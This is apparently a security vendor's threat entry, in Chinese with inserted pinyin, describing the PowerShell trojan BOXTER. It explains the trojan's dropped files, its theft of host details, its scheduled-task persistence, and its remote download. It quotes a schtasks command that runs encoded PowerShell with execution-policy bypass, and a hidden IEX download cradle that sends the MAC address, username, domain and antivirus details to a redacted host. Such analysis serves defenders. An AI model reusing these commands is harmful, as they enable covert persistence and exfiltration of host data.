Trojan.PS1.BOXTER.A

它以其他(tā)恶意软件释放的文(wén)件或用(yòng)户访问恶意网站时不知不觉下载的文(wén)件的形式到达系统。它开始执行然后再删除。

新(xīn)病毒详细信息

它以文(wén)件的形式出现在系统中(zhōng)，可(kě)能(néng)是其他(tā)恶意软件投放的，或者是用(yòng)户在访问恶意网站时无意中(zhōng)下载的。

安(ān)装(zhuāng)

它添加下列进程：

• %System%\getmac.exe /FO CSV

(注意: %System% 是 Windows 的 system 文(wén)件夹，通常位于 C:\Windows\System (Windows 98 和 ME)、C:\WINNT\System32 (Windows NT 和 2000) 和 C:\WINDOWS\system32 (Windows 2000(32-bit)、XP、Server 2003(32-bit)、Vista、7、8、8.1、2008(64-bit),2012(64bit) 和 10(64-bit))。)

植入例程

它植入下列文(wén)件：

• %User Temp%\ccc.log
• %User Temp%\kkkk.log

(注意: %User Temp% 是当前用(yòng)户的 Temp 文(wén)件夹。通常位于 C:\Documents and Settings\{user name}\Local Settings\Temp (Windows 2000(32-bit)、XP 和 Server 2003(32-bit))、C:\Users\{user name}\AppData\Local\Temp (Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit) 和 10(64-bit)。)

信息窃取

它收集下列数据:

• Mac Address
• installed AV
• OS Version
• OS architecture
• Domain
• Username
• Date

其他(tā)详细信息

该程序执行以下操作(zuò)：

• If Administrator role:
  
  • It connects to the following URL to download component loaded in its memory:
  • http://cdn.{BLOCKED}dn.net/p?hig{Date}
  • Creates scheduled task:
  • Task Name: Winnet
  • Trigger: Every 45 minutes
  • Task Action: powershell -ep bypass -e {downloaded b64 encoded} /F
  • Adds the following process to create a scheduled task:
  • schtasks.exe /create /ru system /sc MINUTE /mo 45 /tn Winnet /tr "powershell -ep bypass -e {downloaded b64 encoded}" /F
• If not Administrator role:
  • It connects to the following URL to download component loaded in its memory:
  • http://cdn.{BLOCKED}dn.net/p?low{Date}
  • Creates scheduled task:
  • Task Name: Winnet
  • Trigger: Every 45 minutes
  • Task Action: powershell -ep bypass -e {downloaded b64 encoded} /F
  • Adds the following process to create a scheduled task:
  • schtasks.exe /create /ru system /sc MINUTE /mo 45 /tn Winnet /tr "powershell -ep bypass -e {downloaded b64 encoded}" /F
• If %UserTemp\%kkkk.log does not exists, it creates the file and terminates powershell processes running on the machine
• It adds the following process if no other instance of the program is running on the machine:
• /c powershell -nop -w hidden -ep bypass -c IEX (New-Object Net.WebClient).downloadstring("http://{BLOCKED}.{BLOCKED}.103.152/updatev1?mac={mac address}av={av}version={OS version}bit={OS architecture}flag2={flag}domain={domain}user={username}PS={exeflag}